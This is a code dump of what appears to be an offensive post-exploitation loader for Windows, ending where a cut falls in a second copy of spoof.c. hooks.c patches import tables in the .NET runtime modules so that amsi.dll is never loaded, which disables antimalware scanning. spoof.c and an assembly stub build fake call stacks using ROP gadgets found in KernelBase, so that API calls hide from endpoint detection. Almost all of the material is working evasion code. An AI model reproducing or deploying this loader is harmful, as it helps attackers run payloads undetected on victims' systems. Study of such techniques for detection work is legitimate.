64 ] 91 | mov [ rsp ], r11 92 | 93 | ; ---------------------------------------------------------------------- 94 | ; BaseThreadInitThunk + 0x21 frame 95 | ; ---------------------------------------------------------------------- 96 | 97 | sub rsp, [ rdi + 32 ] 98 | mov r11, [ rdi + 40 ] 99 | mov [ rsp ], r11 100 | 101 | ; ---------------------------------------------------------------------- 102 | ; Gadget frame 103 | ; ---------------------------------------------------------------------- 104 | 105 | sub rsp, [ rdi + 48 ] 106 | mov r11, [ rdi + 80 ] 107 | mov [ rsp ], r11 108 | 109 | ; ---------------------------------------------------------------------- 110 | ; Adjusting the param struct for the fixup 111 | ; ---------------------------------------------------------------------- 112 | 113 | mov r11, rsi ; Copying function to call into r11 114 | 115 | mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member 116 | mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member 117 | lea rbx, [ rel fixup ] ; Fixup address is moved into rbx 118 | mov [ rdi ], rbx ; Fixup member now holds the address of Fixup 119 | mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx 120 | 121 | ; ---------------------------------------------------------------------- 122 | ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made 123 | ; ---------------------------------------------------------------------- 124 | mov r10, rcx 125 | mov rax, [ rdi + 72 ] 126 | 127 | jmp r11 128 | 129 | fixup: 130 | mov rcx, rbx 131 | add rsp, 0x200 ; Big frame thing 132 | add rsp, [ rbx + 48 ] ; Stack size 133 | add rsp, [ rbx + 32 ] ; Stack size 134 | add rsp, [ rbx + 56 ] ; Stack size 135 | 136 | mov rbx, [ rcx + 16 ] ; Restoring OG RBX 137 | mov rdi, [ rcx + 24 ] ; ReStoring OG rdi 138 | mov rsi, [ rcx + 88 ] ; ReStoring OG rsi 139 | mov r12, [ rcx + 96 ] ; ReStoring OG r12 140 | mov r13, [ rcx + 104 ] ; ReStoring OG r13 141 | mov r14, [ rcx + 112 ] ; ReStoring OG r14 142 | mov r15, [ rcx + 120 ] ; ReStoring OG r15 143 | push rax 144 | 145 | xor rax, rax 146 | pop rax 147 | jmp QWORD [ rcx + 8 ] 148 | -------------------------------------------------------------------------------- /postex-loader/src/hooks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "tcg.h" 5 | #include "spoof.h" 6 | #include "hash.h" 7 | 8 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); 9 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); 10 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); 11 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR ); 12 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD ); 13 | DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * ); 14 | DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t ); 15 | 16 | HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) 17 | { 18 | FUNCTION_CALL call = { 0 }; 19 | 20 | call.ptr = ( PVOID ) ( LoadLibraryA ); 21 | call.argc = 1; 22 | 23 | call.args [ 0 ] = spoof_arg ( lpLibFileName ); 24 | 25 | return ( HMODULE ) spoof_call ( &call ); 26 | } 27 | 28 | HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags ) 29 | { 30 | /* get the filename from path */ 31 | LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' ); 32 | LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' ); 33 | LPCWSTR name = back > fwd ? back : fwd; 34 | 35 | if ( name ) { 36 | name++; 37 | } 38 | else { 39 | name = lpLibFileName; 40 | } 41 | 42 | /* say no to amsi */ 43 | if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) { 44 | /* return without loading (─ ‿ ─) */ 45 | return NULL; 46 | } 47 | 48 | /* load the module */ 49 | FUNCTION_CALL call = { 0 }; 50 | 51 | call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW ); 52 | call.argc = 3; 53 | 54 | call.args [ 0 ] = spoof_arg ( lpLibFileName ); 55 | call.args [ 1 ] = spoof_arg ( hFile ); 56 | call.args [ 2 ] = spoof_arg ( dwFlags ); 57 | 58 | /* hold the result */ 59 | HMODULE module = ( HMODULE ) spoof_call ( &call ); 60 | 61 | /* check to see if it's mscoreei.dll or clr.dll */ 62 | if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 ) 63 | { 64 | /* parse the module's headers */ 65 | IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module; 66 | IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew ); 67 | 68 | /* get the import directory */ 69 | IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 70 | IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module ); 71 | 72 | /* walk every imported module */ 73 | while ( import_descriptor->Name != 0 ) 74 | { 75 | IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk ); 76 | IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk ); 77 | 78 | /* walk every imported function */ 79 | while ( original_first_thunk->u1.AddressOfData != 0 ) 80 | { 81 | IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData ); 82 | DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) ); 83 | 84 | /* is the imported function LoadLibraryExW? */ 85 | if ( func_hash == LOADLIBRARYEXW_HASH ) 86 | { 87 | /* yep, hook it */ 88 | DWORD old_protect = 0; 89 | 90 | if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) ) 91 | { 92 | first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW ); 93 | KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect); 94 | } 95 | } 96 | 97 | ++original_first_thunk; 98 | ++first_thunk; 99 | } 100 | 101 | import_descriptor++; 102 | } 103 | } 104 | 105 | /* now return the module */ 106 | return module; 107 | } 108 | 109 | HMODULE WINAPI _LoadLibraryW ( LPCWSTR lpLibFileName ) 110 | { 111 | FUNCTION_CALL call = { 0 }; 112 | 113 | call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryW ); 114 | call.argc = 1; 115 | 116 | call.args [ 0 ] = spoof_arg ( lpLibFileName ); 117 | 118 | HMODULE module = ( HMODULE ) spoof_call ( &call ); 119 | 120 | /* was this mscoree.dll? */ 121 | if ( MSVCRT$_wcsicmp ( lpLibFileName, L"mscoree.dll" ) == 0 ) 122 | { 123 | /* parse the module's headers */ 124 | IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); 125 | IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_header->e_lfanew ); 126 | 127 | /* get the import directory */ 128 | IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 129 | IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module ); 130 | 131 | /* walk every imported module */ 132 | while ( import_descriptor->Name != 0 ) 133 | { 134 | IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk ); 135 | IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk ); 136 | 137 | /* walk every imported function */ 138 | while ( original_first_thunk->u1.AddressOfData != 0 ) 139 | { 140 | IMAGE_IMPORT_BY_NAME * func_name = ( IMAGE_IMPORT_BY_NAME * ) ( ( DWORD_PTR ) module + original_first_thunk->u1.AddressOfData ); 141 | DWORD func_hash = ror13hash ( ( char * ) ( func_name->Name ) ); 142 | 143 | /* is the imported function LoadLibraryExW? */ 144 | if ( func_hash == LOADLIBRARYEXW_HASH ) 145 | { 146 | /* yep, hook it */ 147 | DWORD old_protect = 0; 148 | 149 | if ( KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), PAGE_READWRITE, &old_protect ) ) 150 | { 151 | first_thunk->u1.Function = ( DWORD_PTR ) ( _LoadLibraryExW ); 152 | KERNEL32$VirtualProtect ( ( LPVOID ) ( &first_thunk->u1.Function ), sizeof ( PVOID ), old_protect, &old_protect ); 153 | } 154 | } 155 | 156 | ++original_first_thunk; 157 | ++first_thunk; 158 | } 159 | 160 | import_descriptor++; 161 | } 162 | } 163 | 164 | /* now return the module */ 165 | return module; 166 | } 167 | 168 | LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) 169 | { 170 | FUNCTION_CALL call = { 0 }; 171 | 172 | call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc ); 173 | call.argc = 4; 174 | 175 | call.args [ 0 ] = spoof_arg ( lpAddress ); 176 | call.args [ 1 ] = spoof_arg ( dwSize ); 177 | call.args [ 2 ] = spoof_arg ( flAllocationType ); 178 | call.args [ 3 ] = spoof_arg ( flProtect ); 179 | 180 | return ( LPVOID ) spoof_call ( &call ); 181 | } 182 | 183 | BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ) 184 | { 185 | FUNCTION_CALL call = { 0 }; 186 | 187 | call.ptr = ( PVOID ) ( KERNEL32$VirtualFree ); 188 | call.argc = 3; 189 | 190 | call.args [ 0 ] = spoof_arg ( lpAddress ); 191 | call.args [ 1 ] = spoof_arg ( dwSize ); 192 | call.args [ 2 ] = spoof_arg ( dwFreeType ); 193 | 194 | return ( BOOL ) spoof_call ( &call ); 195 | } 196 | 197 | BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect ) 198 | { 199 | FUNCTION_CALL call = { 0 }; 200 | 201 | call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect ); 202 | call.argc = 4; 203 | 204 | call.args [ 0 ] = spoof_arg ( lpAddress ); 205 | call.args [ 1 ] = spoof_arg ( dwSize ); 206 | call.args [ 2 ] = spoof_arg ( flNewProtect ); 207 | call.args [ 3 ] = spoof_arg ( lpflOldProtect ); 208 | 209 | return ( BOOL ) spoof_call ( &call ); 210 | } 211 | -------------------------------------------------------------------------------- /postex-loader/src/spoof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "spoof.h" 3 | #include "tcg.h" 4 | 5 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); 6 | DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); 7 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); 8 | 9 | #define TEXT_HASH 0xEBC2F9B4 10 | #define RBP_OP_INFO 0x5 11 | 12 | typedef struct { 13 | LPCWSTR DllPath; 14 | ULONG Offset; 15 | ULONGLONG TotalStackSize; 16 | BOOL RequiresLoadLibrary; 17 | BOOL SetsFramePointer; 18 | PVOID ReturnAddress; 19 | BOOL PushRbp; 20 | ULONG CountOfCodes; 21 | BOOL PushRbpIndex; 22 | } STACK_FRAME; 23 | 24 | typedef enum { 25 | UWOP_PUSH_NONVOL = 0, 26 | UWOP_ALLOC_LARGE, 27 | UWOP_ALLOC_SMALL, 28 | UWOP_SET_FPREG, 29 | UWOP_SAVE_NONVOL, 30 | UWOP_SAVE_NONVOL_FAR, 31 | UWOP_SAVE_XMM128 = 8, 32 | UWOP_SAVE_XMM128_FAR, 33 | UWOP_PUSH_MACHFRAME 34 | } UNWIND_CODE_OPS; 35 | 36 | typedef unsigned char UBYTE; 37 | 38 | typedef union { 39 | struct { 40 | UBYTE CodeOffset; 41 | UBYTE UnwindOp : 4; 42 | UBYTE OpInfo : 4; 43 | }; 44 | USHORT FrameOffset; 45 | } UNWIND_CODE; 46 | 47 | typedef struct { 48 | UBYTE Version : 3; 49 | UBYTE Flags : 5; 50 | UBYTE SizeOfProlog; 51 | UBYTE CountOfCodes; 52 | UBYTE FrameRegister : 4; 53 | UBYTE FrameOffset : 4; 54 | UNWIND_CODE UnwindCode [ 1 ]; 55 | } UNWIND_INFO; 56 | 57 | typedef struct { 58 | PVOID ModuleAddress; 59 | PVOID FunctionAddress; 60 | DWORD Offset; 61 | } FRAME_INFO; 62 | 63 | typedef struct { 64 | FRAME_INFO Frame1; 65 | FRAME_INFO Frame2; 66 | PVOID Gadget; 67 | } SYNTHETIC_STACK_FRAME; 68 | 69 | typedef struct { 70 | FUNCTION_CALL * FunctionCall; 71 | PVOID StackFrame; 72 | PVOID SpoofCall; 73 | } DRAUGR_FUNCTION_CALL; 74 | 75 | typedef struct { 76 | PVOID Fixup; 77 | PVOID OriginalReturnAddress; 78 | PVOID Rbx; 79 | PVOID Rdi; 80 | PVOID BaseThreadInitThunkStackSize; 81 | PVOID BaseThreadInitThunkReturnAddress; 82 | PVOID TrampolineStackSize; 83 | PVOID RtlUserThreadStartStackSize; 84 | PVOID RtlUserThreadStartReturnAddress; 85 | PVOID Ssn; 86 | PVOID Trampoline; 87 | PVOID Rsi; 88 | PVOID R12; 89 | PVOID R13; 90 | PVOID R14; 91 | PVOID R15; 92 | } DRAUGR_PARAMETERS; 93 | 94 | extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); 95 | 96 | #define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) 97 | 98 | void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) 99 | { 100 | PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); 101 | PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); 102 | 103 | frame->Frame1.ModuleAddress = frame1_module; 104 | frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); 105 | frame->Frame1.Offset = 0x17; 106 | 107 | frame->Frame2.ModuleAddress = frame2_module; 108 | frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); 109 | frame->Frame2.Offset = 0x2c; 110 | 111 | frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); 112 | } 113 | 114 | BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) 115 | { 116 | IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); 117 | 118 | if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { 119 | return FALSE; 120 | } 121 | 122 | IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); 123 | 124 | if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { 125 | return FALSE; 126 | } 127 | 128 | IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); 129 | 130 | for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) 131 | { 132 | DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); 133 | 134 | if ( h == TEXT_HASH ) 135 | { 136 | *virtual_address = section_header[ i ].VirtualAddress; 137 | *size = section_header[ i ].SizeOfRawData; 138 | 139 | return TRUE; 140 | } 141 | } 142 | 143 | return FALSE; 144 | } 145 | 146 | PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) 147 | { 148 | UNWIND_INFO * unwind_info = NULL; 149 | ULONG unwind_operation = 0; 150 | ULONG operation_info = 0; 151 | ULONG index = 0; 152 | ULONG frame_offset = 0; 153 | 154 | STACK_FRAME stack_frame = { 0 }; 155 | 156 | if ( ! runtime_function ) { 157 | return NULL; 158 | } 159 | 160 | unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); 161 | 162 | while ( index < unwind_info->CountOfCodes ) 163 | { 164 | unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; 165 | operation_info = unwind_info->UnwindCode[ index ].OpInfo; 166 | 167 | /* don't use switch as it produces jump tables */ 168 | if ( unwind_operation == UWOP_PUSH_NONVOL ) 169 | { 170 | stack_frame.TotalStackSize += 8; 171 | 172 | if ( operation_info == RBP_OP_INFO ) 173 | { 174 | stack_frame.PushRbp = TRUE; 175 | stack_frame.CountOfCodes = unwind_info->CountOfCodes; 176 | stack_frame.PushRbpIndex = index + 1; 177 | } 178 | } 179 | else if ( unwind_operation == UWOP_SAVE_NONVOL ) 180 | { 181 | index += 1; 182 | } 183 | else if ( unwind_operation == UWOP_ALLOC_SMALL ) 184 | { 185 | stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); 186 | } 187 | else if ( unwind_operation == UWOP_ALLOC_LARGE ) 188 | { 189 | index += 1; 190 | frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; 191 | 192 | if (operation_info == 0) 193 | { 194 | frame_offset *= 8; 195 | } 196 | else 197 | { 198 | index += 1; 199 | frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); 200 | } 201 | 202 | stack_frame.TotalStackSize += frame_offset; 203 | } 204 | else if ( unwind_operation == UWOP_SET_FPREG ) 205 | { 206 | stack_frame.SetsFramePointer = TRUE; 207 | } 208 | else if ( unwind_operation == UWOP_SAVE_XMM128 ) 209 | { 210 | return NULL; 211 | } 212 | 213 | index += 1; 214 | } 215 | 216 | if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) 217 | { 218 | index = unwind_info->CountOfCodes; 219 | 220 | if ( 0 != ( index & 1 ) ) 221 | { 222 | index += 1; 223 | } 224 | 225 | runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); 226 | return calculate_function_stack_size ( runtime_function, image_base ); 227 | } 228 | 229 | stack_frame.TotalStackSize += 8; 230 | return ( PVOID ) ( stack_frame.TotalStackSize ); 231 | } 232 | 233 | PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) 234 | { 235 | RUNTIME_FUNCTION * runtime_function = NULL; 236 | DWORD64 image_base = 0; 237 | PUNWIND_HISTORY_TABLE history_table = NULL; 238 | 239 | if ( ! return_address ) { 240 | return NULL; 241 | } 242 | 243 | runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); 244 | 245 | if ( NULL == runtime_function ) { 246 | return NULL; 247 | } 248 | 249 | return calculate_function_stack_size ( runtime_function, image_base ); 250 | } 251 | 252 | PVOID find_gadget( PVOID module ) 253 | { 254 | BOOL found_gadgets = FALSE; 255 | DWORD text_section_size = 0; 256 | DWORD text_section_va = 0; 257 | DWORD counter = 0; 258 | ULONG seed = 0; 259 | ULONG random = 0; 260 | PVOID module_text_section = NULL; 261 | 262 | PVOID gadget_list [ 15 ] = { 0 }; 263 | 264 | if ( ! found_gadgets ) 265 | { 266 | if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { 267 | return NULL; 268 | } 269 | 270 | module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); 271 | 272 | for ( int i = 0; i < ( text_section_size - 2 ); i++ ) 273 | { 274 | /* x64 opcodes are ff 23 */ 275 | if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) 276 | { 277 | gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); 278 | counter++; 279 | 280 | if ( counter == 15 ) { 281 | break; 282 | } 283 | } 284 | } 285 | 286 | found_gadgets = TRUE; 287 | } 288 | 289 | seed = 0x1337; 290 | random = NTDLL$RtlRandomEx ( &seed ); 291 | random %= counter; 292 | 293 | return gadget_list [ random ]; 294 | } 295 | 296 | ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) 297 | { 298 | int attempts = 0; 299 | PVOID return_address = NULL; 300 | 301 | DRAUGR_PARAMETERS draugr_params = { 0 }; 302 | 303 | SYNTHETIC_STACK_FRAME frame; 304 | init_frame_info ( &frame ); 305 | 306 | return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); 307 | draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); 308 | draugr_params.BaseThreadInitThunkReturnAddress = return_address; 309 | 310 | if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { 311 | return ( ULONG_PTR ) ( NULL ); 312 | } 313 | 314 | return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); 315 | draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); 316 | draugr_params.RtlUserThreadStartReturnAddress = return_address; 317 | 318 | if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { 319 | return ( ULONG_PTR ) ( NULL ); 320 | } 321 | 322 | do 323 | { 324 | draugr_params.Trampoline = find_gadget ( frame.Gadget ); 325 | draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); 326 | 327 | attempts++; 328 | 329 | if ( attempts > 15 ) { 330 | return ( ULONG_PTR ) ( NULL ); 331 | } 332 | 333 | } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); 334 | 335 | if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { 336 | return ( ULONG_PTR ) ( NULL ); 337 | } 338 | 339 | return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); 340 | } 341 | 342 | ULONG_PTR spoof_call ( FUNCTION_CALL * call ) 343 | { 344 | /* very inelegant */ 345 | if ( call->argc == 0 ) { 346 | return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 347 | } else if ( call->argc == 1 ) { 348 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 349 | } else if ( call->argc == 2 ) { 350 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 351 | } else if ( call->argc == 3 ) { 352 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 353 | } else if ( call->argc == 4 ) { 354 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 355 | } else if ( call->argc == 5 ) { 356 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); 357 | } else if ( call->argc == 6 ) { 358 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); 359 | } else if ( call->argc == 7 ) { 360 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); 361 | } else if ( call->argc == 8 ) { 362 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); 363 | } else if ( call->argc == 9 ) { 364 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); 365 | } else if ( call->argc == 10 ) { 366 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); 367 | } else if ( call->argc == 11 ) { 368 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); 369 | } else if ( call->argc == 12 ) { 370 | return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); 371 | } else { 372 | return ( ULONG_PTR ) ( NULL ); 373 | } 374 | } 375 | -------------------------------------------------------------------------------- /loader/src/spoof.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "spoof.h" 3 | #include "tcg.h" 4 | 5 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); 6 | DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); 7 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); 8 | 9 | #define TEXT_HASH 0xEBC2F9B4 10 | #define RBP_OP_INFO 0x5 11 | 12 | typedef struct { 13 | LPCWSTR DllPath; 14 | ULONG Offset; 15 | ULONGLONG TotalStackSize; 16 | BOOL RequiresLoadLibrary; 17 | BOOL SetsFramePointer; 18 | PVOID ReturnAddress; 19 | BOOL PushRbp; 20 | ULONG CountOfCodes; 21 | BOOL PushRbpIndex; 22 | } STACK_FRAME; 23 | 24 | typedef enum { 25 | UWOP_PUSH_NONVOL = 0, 26 | UWOP_ALLOC_LARGE, 27 | UWOP_ALLOC_SMALL, 28 | UWOP_SET_FPREG, 29 | 